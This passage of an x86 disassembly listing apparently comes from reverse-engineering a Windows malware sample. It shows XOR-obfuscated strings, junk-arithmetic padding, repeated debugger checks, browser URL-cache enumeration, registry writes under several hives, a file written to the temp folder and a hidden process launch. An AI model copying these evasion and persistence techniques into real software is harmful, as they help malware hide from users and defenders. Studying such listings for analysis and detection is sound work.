[ebp+var_2F5B], 0DEh add [ebp+var_2F5B], 3Dh mov [ebp+var_1F44], 1F40h mov [ebp+var_2F58], 7B4Bh mov eax, [ebp+var_2F58] mov edx, eax add edx, eax mov [ebp+var_2F58], edx lea eax, [ebp+var_1F44] push eax lea eax, [ebp+var_1F40] push eax push ebx call sub_40B6A4 ; FindNextUrlCacheEntryA or eax, eax jz short loc_4055F9 mov [ebp+var_2F5A], 42E5h movzx eax, [ebp+var_2F5A] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_2F5A], ax lea eax, [ebp+var_2F43] push eax push [ebp+var_1F3C] call sub_40C644 add esp, 8 or eax, eax jnz short loc_4055F4 lea edi, [ebp+var_2F5D] lea esi, byte_4412AC xor ecx, ecx inc ecx rep movsb push [ebp+var_1F38] push [ebp+arg_4] call sub_40C138 mov [ebp+var_2F5C], 0F4h movzx eax, [ebp+var_2F5C] imul eax, 0D16h mov [ebp+var_2F5C], al xor eax, eax inc eax jmp short loc_4055FB ; --------------------------------------------------------------------------- loc_4055F4: ; CODE XREF: sub_405409+1ABj jmp loc_405536 ; --------------------------------------------------------------------------- loc_4055F9: ; CODE XREF: sub_405409+175j xor eax, eax loc_4055FB: ; CODE XREF: sub_405409+D1j ; sub_405409+128j ... pop edi pop esi pop ebx leave retn sub_405409 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405600 proc near ; CODE XREF: sub_4056EE+607p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_11 = byte ptr -11h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi call sub_40C218 ; GetTickCount push [ebp+arg_0] call sub_40C3BC ; lstrlenA mov [ebp+var_8], eax lea edi, [ebp+var_11] lea esi, a8x6d ; "8x6d" mov ecx, 5 rep movsb mov edi, [ebp+var_8] shl edi, 1 add edi, 8 push edi push 40h call sub_40C2CC ; LocalAlloc mov [ebp+var_C], eax mov ebx, 5DB7h mov eax, ebx add eax, ebx mov ebx, eax xor ebx, ebx jmp short loc_405667 ; --------------------------------------------------------------------------- loc_40564B: ; CODE XREF: sub_405600+6Aj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax+ebx] xor eax, 71h or eax, eax jz short loc_405666 mov eax, ebx add eax, [ebp+arg_0] movzx edx, byte ptr [eax] xor edx, 71h mov [eax], dl loc_405666: ; CODE XREF: sub_405600+57j inc ebx loc_405667: ; CODE XREF: sub_405600+49j cmp ebx, [ebp+var_8] jb short loc_40564B lea edi, [ebp+var_16] lea esi, aLw ; "Lw%$" mov ecx, 5 rep movsb mov [ebp+var_2], 0 jmp short loc_4056DD ; --------------------------------------------------------------------------- loc_405684: ; CODE XREF: sub_405600+E4j push 6 push offset aVVV ; "‚Ô‚Ä‚Ä" call sub_4052CE mov [ebp+var_1C], eax movzx edi, [ebp+var_2] mov esi, [ebp+arg_0] movzx edi, byte ptr [esi+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_20], edx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_C] push edi mov esi, [ebp+var_1C] push esi push edi call sub_40C6B0 add esp, 1Ch inc [ebp+var_2] loc_4056DD: ; CODE XREF: sub_405600+82j movzx eax, [ebp+var_2] cmp eax, [ebp+var_8] jb short loc_405684 mov eax, [ebp+var_C] pop edi pop esi pop ebx leave retn sub_405600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056EE proc near ; CODE XREF: sub_4063A9+135p var_300B0 = dword ptr -300B0h var_300AC = dword ptr -300ACh var_300A8 = dword ptr -300A8h var_300A1 = byte ptr -300A1h var_300A0 = dword ptr -300A0h var_3009A = word ptr -3009Ah var_30098 = dword ptr -30098h var_30094 = dword ptr -30094h var_30090 = dword ptr -30090h var_3008C = dword ptr -3008Ch var_30088 = dword ptr -30088h var_30084 = dword ptr -30084h var_3007F = byte ptr -3007Fh var_3007C = byte ptr -3007Ch var_30076 = word ptr -30076h var_30074 = byte ptr -30074h var_3006F = byte ptr -3006Fh var_30068 = word ptr -30068h var_30066 = dword ptr -30066h var_30062 = byte ptr -30062h var_3005A = byte ptr -3005Ah var_30054 = byte ptr -30054h var_30053 = byte ptr -30053h var_3004C = word ptr -3004Ch var_3004A = byte ptr -3004Ah var_30045 = byte ptr -30045h var_30042 = word ptr -30042h var_30040 = word ptr -30040h var_3003E = word ptr -3003Eh var_3003B = byte ptr -3003Bh var_30031 = byte ptr -30031h var_30030 = dword ptr -30030h var_30029 = byte ptr -30029h var_3001F = byte ptr -3001Fh var_3001E = word ptr -3001Eh var_3001C = dword ptr -3001Ch var_30018 = dword ptr -30018h var_30014 = dword ptr -30014h var_30010 = dword ptr -30010h var_3000C = byte ptr -3000Ch var_2000C = dword ptr -2000Ch var_20008 = dword ptr -20008h var_20003 = byte ptr -20003h var_10004 = dword ptr -10004h var_10000 = byte ptr -10000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 300B0h call sub_40C118 push ebx push esi push edi call sub_40C194 ; GetCurrentThreadId and [ebp+var_30018], 0 lea edi, [ebp+var_30045] lea esi, aQ ; "q<" mov ecx, 3 rep movsb and [ebp+var_2000C], 0 and [ebp+var_30014], 0 lea eax, [ebp+var_10004] push eax push [ebp+arg_4] call sub_401AC1 add esp, 8 mov ebx, eax mov [ebp+var_3001E], 1318h inc [ebp+var_3001E] mov eax, [ebp+var_10004] or eax, eax jz short loc_405762 or ebx, ebx jz short loc_405762 cmp [ebp+arg_14], eax jb short loc_405785 loc_405762: ; CODE XREF: sub_4056EE+69j ; sub_4056EE+6Dj call sub_40C188 ; GetCurrentProcessId push ebx call sub_40C2D8 ; LocalFree mov [ebp+var_3007F], 58h sub [ebp+var_3007F], 0B8h mov [ebp+var_30018], 1 loc_405785: ; CODE XREF: sub_4056EE+72j push [ebp+arg_C] call sub_40C3BC ; lstrlenA mov [ebp+var_30084], eax mov eax, 64h mul [ebp+var_10004] mov [ebp+var_30088], eax mov edi, [ebp+var_30084] imul edi, [ebp+var_30084], 32h mov esi, [ebp+var_30088] lea edi, [esi+edi+1000h] push edi push 40h call sub_40C2CC ; LocalAlloc mov [ebp+var_20008], eax call sub_40C218 ; GetTickCount lea edi, [ebp+var_3004A] lea esi, aR1 ; "R1|`" mov ecx, 5 rep movsb mov ax, word_4412BF mov [ebp+var_3004C], ax push [ebp+arg_0] push 104h call sub_40C20C ; GetTempPathA call sub_40C218 ; GetTickCount mov eax, [ebp+arg_0] mov [ebp+var_3008C], eax mov ecx, eax or eax, 0FFFFFFFFh loc_405811: ; CODE XREF: sub_4056EE+128j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_405811 mov edi, eax mov esi, 12h sub esi, dword_441290 push esi mov esi, [ebp+var_3008C] add esi, edi push esi call sub_401719 add esp, 8 call sub_40C1B8 ; RtlGetLastWin32Error push 4 push offset aI ; "‰ÏÓÊ" call sub_4052CE add esp, 8 push eax push [ebp+arg_0] call sub_40C6D4 add esp, 8 lea edi, [ebp+var_30053] lea esi, a_mU2 ; "%.m%u2" mov ecx, 7 rep movsb lea edi, [ebp+var_30054] lea esi, byte_4412C8 mov ecx, 1 rep movsb push 6 push offset aIS ; "›ÏÓÊË™" call sub_4052CE add esp, 8 push eax push [ebp+var_20008] call sub_404A6B add esp, 8 call sub_40C1B8 ; RtlGetLastWin32Error push 6 push offset aIS_0 ; "›ÏÂÆÃ™" call sub_4052CE add esp, 8 push eax push [ebp+var_20008] call sub_404A6B add esp, 8 call sub_40C2B4 ; IsDebuggerPresent push 13h push offset aISvVIiS ; "›ÓÎÓË™‚Ô‚Ò›ˆÓÎÓË™" call sub_4052CE add esp, 8 push [ebp+arg_1C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_20003] push edi call sub_40C6B0 add esp, 10h mov [ebp+var_3001F], 95h add [ebp+var_3001F], 11h lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A6B add esp, 8 push 7 push offset aIiS ; "›ˆÏÂÆÃ™" call sub_4052CE add esp, 8 push eax push [ebp+var_20008] call sub_404A6B add esp, 8 call sub_40C224 ; GetVersion push 6 push offset aIS_1 ; "›ÅÈÃÞ™" call sub_4052CE add esp, 8 push eax push [ebp+var_20008] call sub_404A6B add esp, 8 lea edi, [ebp+var_3005A] lea esi, aMZW ; "M=z>w" mov ecx, 6 rep movsb lea edi, [ebp+var_30062] lea esi, aRIAb ; "r I^^€b" mov ecx, 8 rep movsb push 5 push offset aVif ; "Á‚‰”Ò" call sub_4052CE add esp, 8 mov [ebp+var_30090], eax call sub_40C698 mov ecx, 3E8h cdq idiv ecx push edx mov edi, [ebp+var_30090] push [ebp+var_30090] lea edi, [ebp+var_30029] push edi call sub_40C6B0 add esp, 0Ch mov [ebp+var_30030], 46Bh sub [ebp+var_30030], 6AF4h push 2Ah push offset word_44625E call sub_4052CE add esp, 8 lea edi, [ebp+var_30029] push edi push [ebp+arg_8] push eax lea edi, [ebp+var_20003] push edi call sub_40C6B0 add esp, 10h call sub_40C224 ; GetVersion lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A6B add esp, 8 mov eax, dword_4412D7 mov [ebp+var_30066], eax push 2Dh push offset aIZEEzAvAzAAsiS ; "›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ò€‡ÉÆÊš€Æ€™"... call sub_4052CE add esp, 8 mov [ebp+var_30094], eax call sub_40C698 mov ecx, 9 cdq idiv ecx mov edi, edx add edi, 14h push edi mov edi, [ebp+var_30094] push [ebp+var_30094] lea edi, [ebp+var_20003] push edi call sub_40C6B0 add esp, 0Ch call sub_40C2B4 ; IsDebuggerPresent lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A6B add esp, 8 call sub_40C218 ; GetTickCount cmp [ebp+var_30018], 0 jnz loc_405D95 mov [ebp+var_30031], 2Ah add [ebp+var_30031], 23h cmp [ebp+arg_18], 0 jz loc_405BFD mov [ebp+var_3009A], 7904h add [ebp+var_3009A], 1B64h and [ebp+var_30098], 0 jmp loc_405BE0 ; --------------------------------------------------------------------------- loc_405AB9: ; CODE XREF: sub_4056EE+4FEj call sub_40C2B4 ; IsDebuggerPresent mov [ebp+var_10000], 0 mov [ebp+var_300A1], 9Ch add [ebp+var_300A1], 60h and [ebp+var_300A0], 0 jmp loc_405B82 ; --------------------------------------------------------------------------- loc_405ADF: ; CODE XREF: sub_4056EE+49Ej call sub_40C194 ; GetCurrentThreadId mov eax, [ebp+var_30098] add eax, [ebp+var_300A0] cmp eax, [ebp+var_10004] jnb loc_405B92 mov [ebp+var_300A8], 7D75h sub [ebp+var_300A8], 7DFBh push 6 push offset aVVV ; "‚Ô‚Ä‚Ä" call sub_4052CE mov [ebp+var_300AC], eax mov edi, [ebp+var_30098] add edi, [ebp+var_300A0] movzx edi, byte ptr [ebx+edi] mov eax, edi mov ecx, 1Ah cdq idiv ecx mov esi, edx add esi, 61h push esi mov eax, edi mov ecx, 1Ah mov edx, 4EC4EC4Fh mul edx shr edx, 3 mov [ebp+var_300B0], edx mov edi, edx add edi, 61h push edi lea edi, [ebp+var_10000] push edi mov edi, [ebp+var_300AC] push edi lea edi, [ebp+var_10000] push edi call sub_40C6B0 add esp, 1Ch inc [ebp+var_300A0] loc_405B82: ; CODE XREF: sub_4056EE+3ECj cmp [ebp+var_300A0], 80h jb loc_405ADF loc_405B92: ; CODE XREF: sub_4056EE+408j push 30h push offset aIZEEzAvAzAvVAs ; "›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ô€‡ÉÆÊš€‚Ô‚"... call sub_4052CE push [ebp+var_2000C] push [ebp+arg_10] lea edi, [ebp+var_10000] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40C6B0 lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A6B add esp, 24h add [ebp+var_30098], 80h inc [ebp+var_2000C] loc_405BE0: ; CODE XREF: sub_4056EE+3C6j mov eax, [ebp+var_10004] cmp [ebp+var_30098], eax jb loc_405AB9 mov [ebp+var_30014], eax jmp loc_405D95 ; --------------------------------------------------------------------------- loc_405BFD: ; CODE XREF: sub_4056EE+3A7j call sub_40C224 ; GetVersion mov eax, [ebp+arg_14] mov [ebp+var_10004], eax jmp loc_405D71 ; --------------------------------------------------------------------------- loc_405C10: ; CODE XREF: sub_4056EE+6A1j call sub_40C1B8 ; RtlGetLastWin32Error cmp [ebp+var_10000], 0 jz loc_405D71 mov dword ptr [ebp-3009Ch], 77B9h sub dword ptr [ebp-3009Ch], 0C7Eh mov eax, [ebp+arg_14] add eax, 0C800h cmp [ebp+var_10004], eax jnb loc_405D95 call sub_40C2B4 ; IsDebuggerPresent mov eax, [ebp+var_10004] mov [ebp+var_30014], eax push 3 push offset aV ; "‚ÔÛ" call sub_4052CE push [ebp+arg_C] push eax lea edi, [ebp+var_3000C] push edi call sub_40C6B0 add esp, 14h mov word ptr [ebp+var_30098+2], 1740h movzx eax, word ptr [ebp+var_30098+2] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_30098+2], ax lea ecx, [ebp+var_3000C] or eax, 0FFFFFFFFh loc_405CA0: ; CODE XREF: sub_4056EE+5B7j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_405CA0 mov edi, eax mov word ptr [ebp+var_300A8+2], di mov word ptr [ebp+var_300A0+2], 6946h inc word ptr [ebp+var_300A0+2] lea eax, [ebp+var_10000] push eax movzx eax, word ptr [ebp+var_300A8+2] lea eax, [ebp+eax+var_3000C] push eax call sub_40C138 lea edi, [ebp+var_300B0+3] lea esi, aFBe ; "F#=e " mov ecx, 7 rep movsb lea eax, [ebp+var_3000C] push eax call sub_405600 add esp, 4 mov [ebp+var_30010], eax push 30h push offset aIZEEzAvAzAvVAs ; "›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ô€‡ÉÆÊš€‚Ô‚"... call sub_4052CE add esp, 8 push [ebp+var_2000C] push [ebp+arg_10] push [ebp+var_30010] push eax lea edi, [ebp+var_20003] push edi call sub_40C6B0 add esp, 14h call sub_40C224 ; GetVersion lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404A6B add esp, 8 call sub_40C188 ; GetCurrentProcessId push [ebp+var_30010] call sub_40C2D8 ; LocalFree mov dword ptr [ebp-300A4h], 7098h inc dword ptr [ebp-300A4h] inc [ebp+var_2000C] loc_405D71: ; CODE XREF: sub_4056EE+51Dj ; sub_4056EE+52Ej lea eax, [ebp+var_10000] push eax push [ebp+var_10004] push ebx call sub_401C5D add esp, 0Ch mov [ebp+var_10004], eax or eax, eax jnz loc_405C10 loc_405D95: ; CODE XREF: sub_4056EE+38Fj ; sub_4056EE+50Aj ... push 1Eh push offset aIZEEzAas ; "›ÎÉ×ÒÓ‡ÓÞך…ÔÒÅÊÎÓ…‡ÑÆËÒš€€™" call sub_4052CE push eax push [ebp+var_20008] call sub_404A6B push 7 push offset aIiS_0 ; "›ˆÁÈÕÊ™" call sub_4052CE push eax push [ebp+var_20008] call sub_404A6B call sub_40C1F4 ; GetProcessHeap push 8 push offset aIS_2 ; "›ÔÄÕÎ×Ó™" call sub_4052CE push eax push [ebp+var_20008] call sub_404770 mov ax, word_4412E2 mov [ebp+var_30068], ax lea edi, [ebp+var_3006F] lea esi, aYmkm ; " ymkm&" mov ecx, 7 rep movsb push 6 push offset aVVix ; "‚Ä‚‰•Ò" call sub_4052CE mov [ebp+var_30098], eax call sub_40C698 mov [ebp-3009Ch], eax call sub_40C698 mov ecx, 63h cdq idiv ecx push edx mov edi, [ebp-3009Ch] mov eax, edi mov ecx, 14h cdq idiv ecx mov edi, edx add edi, 61h push edi mov edi, [ebp+var_30098] push edi lea edi, [ebp+var_3003B] push edi call sub_40C6B0 call sub_40C1B8 ; RtlGetLastWin32Error push 0Eh push offset aZvPo ; "ÁÒÉÄÓÎÈɇ‚ÔŽÜ" call sub_4052CE lea edi, [ebp+var_3003B] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40C6B0 call sub_40C224 ; GetVersion lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404770 call sub_40C1F4 ; GetProcessHeap push 15h push offset aIvIPo ; "ÃÈÄÒÊÂÉÓ‰‚Ô‰ÔÒÅÊÎÓŽœ" call sub_4052CE lea edi, [ebp+var_30029] push edi push eax lea edi, [ebp+var_20003] push edi call sub_40C6B0 lea edi, [ebp+var_30074] lea esi, aWG ; "%W*ƒ" mov ecx, 5 rep movsb lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404770 call sub_40C218 ; GetTickCount push 1 push offset byte_44619D call sub_4052CE push eax push [ebp+var_20008] call sub_404770 push 16h push offset word_446186 call sub_4052CE mov [ebp+var_300A0], eax call sub_40C698 mov ecx, 3E8h cdq idiv ecx mov edi, edx add edi, 2710h push edi lea edi, [ebp+var_3003B] push edi mov edi, [ebp+var_300A0] push edi lea edi, [ebp+var_20003] push edi call sub_40C6B0 call sub_40C218 ; GetTickCount lea eax, [ebp+var_20003] push eax push [ebp+var_20008] call sub_404770 mov ax, word_4412F0 mov [ebp+var_30076], ax push 9 push offset aIiS_1 ; "›ˆÔÄÕÎ×Ó™" call sub_4052CE push eax push [ebp+var_20008] call sub_404A6B mov [ebp+var_3003E], 69FDh inc [ebp+var_3003E] push 7 push offset aIiS_2 ; "›ˆÅÈÃÞ™" call sub_4052CE push eax push [ebp+var_20008] call sub_404A6B call sub_40C2B4 ; IsDebuggerPresent push 7 push offset aIiS_3 ; "›ˆÏÓÊË™" call sub_4052CE push eax push [ebp+var_20008] call sub_40C6D4 call sub_40C1B8 ; RtlGetLastWin32Error push [ebp+arg_0] call sub_40352B add esp, 0E4h mov [ebp+var_30040], 3406h add [ebp+var_30040], 797Bh push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+arg_0] call sub_40C2FC ; CreateFileA mov [ebp+var_3001C], eax mov [ebp+var_30042], 3BB2h sub [ebp+var_30042], 6434h push [ebp+var_20008] call sub_40C3BC ; lstrlenA push 0 lea edi, [ebp+var_2000C] push edi push eax push [ebp+var_20008] push [ebp+var_3001C] call sub_40C3B0 ; WriteFile lea edi, [ebp+var_3007C] lea esi, aTcurf ; "TcUrf" mov ecx, 3 rep movsw push [ebp+var_3001C] call sub_40C1DC ; CloseHandle push [ebp+var_20008] call sub_40C2D8 ; LocalFree cmp [ebp+var_30018], 0 jnz short loc_406071 push ebx call sub_40C2D8 ; LocalFree jmp short loc_406076 ; --------------------------------------------------------------------------- loc_406071: ; CODE XREF: sub_4056EE+979j or eax, 0FFFFFFFFh jmp short loc_40607C ; --------------------------------------------------------------------------- loc_406076: ; CODE XREF: sub_4056EE+981j mov eax, [ebp+var_30014] loc_40607C: ; CODE XREF: sub_4056EE+986j pop edi pop esi pop ebx leave retn sub_4056EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406081 proc near ; CODE XREF: sub_4063A9:loc_40649Dp var_2120 = byte ptr -2120h var_211F = byte ptr -211Fh var_2118 = byte ptr -2118h var_1119 = byte ptr -1119h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_101 = byte ptr -101h var_100 = byte ptr -100h push ebp mov ebp, esp mov eax, 2120h call sub_40C118 push ebx push esi push edi mov ebx, 6603h inc ebx mov ebx, 6AC5h mov eax, ebx add eax, ebx mov ebx, eax mov eax, dword_4412F8 mov [ebp+var_10C], eax and [ebp+var_108], 0 mov [ebp+var_101], 0 jmp loc_4061EB ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_406081+172j mov byte ptr [ebp+var_118+3], 22h movzx eax, byte ptr [ebp+var_118+3] imul eax, 51BCh mov byte ptr [ebp+var_118+3], al push 44h push offset byte_446127 call sub_4052CE movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40C6B0 lea edi, [ebp+var_11C+1] lea esi, aPxpwz ; "pxPwz" mov ecx, 3 rep movsw push 4 push offset aCscc ; "–‘—–" call sub_4052CE push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_4015C0 call sub_40C1F4 ; GetProcessHeap push 4 push offset aCscc ; "–‘—–" call sub_4052CE push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_4015C0 push 4Dh push offset dword_4460D4 call sub_4052CE movzx edi, [ebp+var_101] push edi push eax lea edi, [ebp+var_100] push edi call sub_40C6B0 push 4 push offset aCscc ; "–‘—–" call sub_4052CE push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000002h call sub_4015C0 call sub_40C188 ; GetCurrentProcessId push 4 push offset aCscc ; "–‘—–" call sub_4052CE push 4 push 4 lea edi, [ebp+var_108] push edi push eax lea edi, [ebp+var_100] push edi push 80000001h call sub_4015C0 add esp, 0A8h add [ebp+var_101], 1 loc_4061EB: ; CODE XREF: sub_406081+3Aj mov al, [ebp+var_101] cmp al, 5 jb loc_4060C0 call sub_40C224 ; GetVersion cmp eax, 80000000h jb short loc_406267 call sub_40C224 ; GetVersion push 4Ch push offset byte_446087 call sub_4052CE mov [ebp+var_118], eax push 10h push offset word_446076 call sub_4052CE mov [ebp+var_11C], eax push 3 push offset word_446072 call sub_4052CE push 1 mov edi, dword_44128C add edi, 2 push edi push eax mov edi, [ebp+var_11C] push edi mov edi, [ebp+var_118] push edi push 80000003h call sub_4015C0 add esp, 30h jmp loc_406301 ; --------------------------------------------------------------------------- loc_406267: ; CODE XREF: sub_406081+182j mov ax, word_441302 mov word ptr [ebp+var_11C+2], ax lea edi, [ebp+var_211F] lea esi, a4VVx ; "4:V<vX" mov ecx, 7 rep movsb lea eax, [ebp+var_1119] push eax call sub_405217 call sub_40C2B4 ; IsDebuggerPresent push 59h push offset dword_446018 call sub_4052CE lea edi, [ebp+var_1119] push edi push eax lea edi, [ebp+var_2118] push edi call sub_40C6B0 call sub_40C188 ; GetCurrentProcessId and [ebp+var_118], 0 push 0Ch push offset aI_0 ; "ÎÂß×ËÈÕ‰ÂßÂ" call sub_4052CE push 4 push 4 lea edi, [ebp+var_118] push edi push eax lea edi, [ebp+var_2118] push edi push 80000003h call sub_4015C0 add esp, 38h lea edi, [ebp+var_2120] lea esi, byte_44130B xor ecx, ecx inc ecx rep movsb loc_406301: ; CODE XREF: sub_406081+1E1j push 3Bh push offset byte_445FCF call sub_4052CE mov [ebp+var_118], eax push 11h push offset byte_445FBD call sub_4052CE push 4 push 4 lea edi, [ebp+var_108] push edi push eax mov edi, [ebp+var_118] push edi push 80000001h call sub_4015C0 mov eax, dword_44130C mov [ebp+var_110], eax push 33h push offset byte_445F89 call sub_4052CE push 1 push 0 push offset byte_446481 push offset byte_446481 push eax push 80000001h call sub_4015C0 mov eax, dword_441310 mov [ebp+var_114], eax push 3Bh push offset byte_445F4D call sub_4052CE push 1 push 0 push offset byte_446481 push offset byte_446481 push eax push 80000001h call sub_4015C0 add esp, 68h call sub_40C1F4 ; GetProcessHeap pop edi pop esi pop ebx leave retn sub_406081 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063A9 proc near ; CODE XREF: sub_4096E4+270p ; sub_4096E4+549p ... var_3AA = word ptr -3AAh var_3A8 = dword ptr -3A8h var_3A1 = byte ptr -3A1h var_29D = byte ptr -29Dh var_29A = word ptr -29Ah var_298 = dword ptr -298h var_294 = dword ptr -294h var_28D = byte ptr -28Dh var_288 = byte ptr -288h var_283 = byte ptr -283h var_27D = byte ptr -27Dh var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_265 = byte ptr -265h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_250 = byte ptr -250h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 3ACh push ebx push esi push edi call sub_40C224 ; GetVersion and [ebp+var_14C], 0 xor ebx, ebx lea edi, [ebp+var_27D] lea esi, aGf ; "+GF " mov ecx, 5 rep movsb push offset dword_441298 call sub_40C290 ; InterlockedIncrement mov [ebp+var_26C], eax lea edi, [ebp+var_283] lea esi, aHv1xj ; "hV1xJ" mov ecx, 3 rep movsw push 10h push 0 lea eax, [ebp+var_260] push eax call sub_40C680 call sub_40C1B8 ; RtlGetLastWin32Error mov [ebp+var_270], 104h call sub_40C1B8 ; RtlGetLastWin32Error push 21h push offset byte_445F2B call sub_4052CE mov [ebp+var_294], eax push 4 push offset word_445F26 call sub_4052CE lea edi, [ebp+var_288] push edi lea edi, [ebp+var_270] push edi lea edi, [ebp+var_250] push edi push eax mov edi, [ebp+var_294] push edi push 80000002h call sub_4014AA add esp, 34h mov [ebp+var_274], eax mov [ebp+var_264], 3641h inc [ebp+var_264] or eax, eax jnz short loc_40649D mov byte ptr [ebp+var_298+3], 84h add byte ptr [ebp+var_298+3], 0CDh push [ebp+arg_0] call sub_40C2D8 ; LocalFree xor eax, eax jmp loc_4068D7 ; --------------------------------------------------------------------------- loc_40649D: ; CODE XREF: sub_4063A9+D5j call sub_406081 call sub_40C218 ; GetTickCount push 104h lea eax, [ebp+var_104] push eax lea eax, [ebp+var_250] push eax call sub_40C170 ; ExpandEnvironmentStringsA push [ebp+var_26C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_250] push eax call sub_4056EE add esp, 20h mov [ebp+var_14C], eax cmp [ebp+arg_1C], 0 jz short loc_40650A cmp eax, 0FFFFFFFFh jz short loc_406504 mov eax, [ebp+arg_1C] mov edx, [ebp+var_14C] mov [eax], edx jmp short loc_40650A ; --------------------------------------------------------------------------- loc_406504: ; CODE XREF: sub_4063A9+14Cj mov eax, [ebp+arg_1C] and dword ptr [eax], 0 loc_40650A: ; CODE XREF: sub_4063A9+147j ; sub_4063A9+159j cmp [ebp+var_14C], 0 jnz short loc_406541 mov [ebp+var_298], 3EB8h mov eax, [ebp+var_298] mov edx, eax add edx, eax mov [ebp+var_298], edx push [ebp+arg_0] call sub_40C2D8 ; LocalFree call sub_40C218 ; GetTickCount xor eax, eax jmp loc_4068D7 ; --------------------------------------------------------------------------- loc_406541: ; CODE XREF: sub_4063A9+168j push 0Eh push offset byte_445F17 call sub_4052CE push eax lea edi, [ebp+var_104] push edi call sub_40C6D4 call sub_40C188 ; GetCurrentProcessId lea eax, [ebp+var_250] push eax lea eax, [ebp+var_104] push eax call sub_40C6D4 call sub_40C2B4 ; IsDebuggerPresent call sub_404602 mov [ebp+var_278], eax push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40C680 lea edi, [ebp+var_28D] lea esi, a6djg ; "6DJg" mov ecx, 5 rep movsb push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40C680 add esp, 30h call sub_40C1B8 ; RtlGetLastWin32Error mov [ebp+var_148], 44h mov [ebp+var_11C], 1 mov [ebp+var_118], 1 cmp [ebp+var_278], 0 jz short loc_4065F2 lea eax, [ebp+var_148] push eax call sub_4046BD pop ecx jmp short loc_4065FB ; --------------------------------------------------------------------------- loc_4065F2: ; CODE XREF: sub_4063A9+238j mov [ebp+var_118], 0 loc_4065FB: ; CODE XREF: sub_4063A9+247j lea eax, [ebp+var_260] push eax lea eax, [ebp+var_148] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_40C38C ; CreateProcessA or eax, eax jz loc_40687C call sub_40C1F4 ; GetProcessHeap push [ebp+var_25C] call sub_40C1DC ; CloseHandle call sub_40C1B8 ; RtlGetLastWin32Error push 22h push offset aVVZkzZuZt ; "‚Ô‚Ò‡Š‡êÎÄÕÈÔÈÁÓ‡îÉÓÂÕÉÂÓ‡âß×ËÈÕÂÕ" call sub_4052CE push [ebp+var_26C] push offset aMicrosoftCorp ; "MicroSoft-Corp" push eax lea edi, [ebp+var_104] push edi call sub_40C6B0 add esp, 18h mov word ptr [ebp+var_298], 1C85h movzx eax, word ptr [ebp+var_298] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_298], ax mov byte ptr [ebp+var_298+3], 0 jmp short loc_4066D5 ; --------------------------------------------------------------------------- loc_40668D: ; CODE XREF: sub_4063A9+334j call sub_40C2B4 ; IsDebuggerPresent push 7 push offset aUts ; "îâáÕÆÊÂ" call sub_4052CE add esp, 8 lea edi, [ebp+var_104] push edi push eax call sub_40C404 ; FindWindowA mov ebx, eax call sub_40C224 ; GetVersion or ebx, ebx jnz short loc_4066DF call sub_40C2B4 ; IsDebuggerPresent mov eax, dword_44128C add eax, 3E6h push eax call sub_40C350 ; Sleep add byte ptr [ebp+var_298+3], 1 loc_4066D5: ; CODE XREF: 